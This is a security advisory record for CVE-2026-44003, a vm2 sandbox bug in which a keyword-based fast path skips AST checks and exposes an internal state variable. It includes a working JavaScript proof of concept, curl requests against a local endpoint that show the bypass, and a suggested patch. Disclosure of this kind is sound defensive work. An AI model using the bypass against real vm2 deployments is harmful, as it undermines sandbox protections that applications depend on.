{"id":"CVE-2026-44003","aliases":["GHSA-wp5r-2gw5-m7q7"],"title":"vm2's Transformer Fast-Path Bypass Exposes Internal State Variable","summary":"vm2's Transformer Fast-Path Bypass Exposes Internal State Variable","severity":"medium","cvss":5.3,"cwe":["CWE-693"],"vendor":"vm2","product":"vm2","ecosystem":"npm","affected":["vm2 <= 3.10.5"],"patched":["vm2 3.11.0"],"published":"2026-05-07","updated":"2026-11-05","sourceUpdated":"2026-11-05T22:09:25Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-wp5r-2gw5-m7q7","references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7"},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.0"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44003"},{"url":"https://github.com/patriksimek/vm2/commit/9f0484862b74be3584169db282236a47f418ddbb"},{"url":"https://github.com/advisories/GHSA-wp5r-2gw5-m7q7"}],"tags":["ghsa","npm"],"epss":0.00248,"epssPercentile":0.16225,"ingestedAt":"2026-11-05T22:38:31.306Z","slug":"CVE-2026-44003","body":"## Overview\n\n### Summary\nvm2's code transformer has a performance optimization that skips AST analysis when the code does not contain `catch`, `import`, or `async` keywords. This fast-path bypass allows sandboxed code to directly access the internal `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` variable, which exposes internal security functions (`handleException`, `wrapWith`, `import`).\n\n### Details\nIn `lib/transformer.js:55-57`, a regex check `/\\b(?:catch|import|async)\\b/` determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.\n\nWhen the fast-path is taken:\n1. **INTERNAL_STATE_NAME identifier check is bypassed**: The AST visitor that blocks access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` never runs\n2. **`with` statement instrumentation is bypassed**: `with()` statements are not wrapped with `wrapWith()`, enabling scope manipulation\n3. The internal state object exposes: `handleException(e)`, `wrapWith(x)`, `import(what)`\n\nWhile these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.\n\n### PoC\n\n**Library-level PoC (Node.js script — primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\n// Access internal state (bypassed — no catch/import/async keywords)\nconst result = vm.run(`\n  var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\n  Object.keys(x).join(\",\")\n`);\nconsole.log(result); // \"wrapWith,handleException,import\"\n\n// Control test — blocked when catch keyword is present\ntry {\n  vm.run(`\n    try {\n      var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\n    } catch(e) { e.message }\n  `);\n} catch(e) {\n  console.log(e.message); // \"Use of internal vm2 state variable\"\n}\n```\n\n**HTTP demonstration:**\n```bash\n# Internal state access (bypassed)\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\\\",\\\")\"}'\n# Result: \"wrapWith,handleException,import\"\n\n# Control test — blocked when catch keyword is present\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }\"}'\n# Result: {\"errors\":[\"Use of internal vm2 state variable\"]}\n```\n\n**Suggested fix:**\n```javascript\n// transformer.js:55 — add 'with' keyword and INTERNAL_STATE_NAME check\nif (!/\\b(?:catch|import|async|with)\\b/.test(code) && code.indexOf(INTERNAL_STATE_NAME) === -1) {\n    return {__proto__: null, code, hasAsync: false};\n}\n```\n\n### Impact\n- **Security Control Bypass**: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords.\n- **Defense-in-Depth Violation**: Internal security functions are exposed, creating a latent attack surface for future code changes.\n- **Scope**: All applications using vm2. No special configuration required.\n\n## Affected packages\n\n- `vm2 <= 3.10.5`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `vm2 3.11.0`","depth":"sunlit","depthScore":29,"depthScoreParts":{"impact":29.2,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}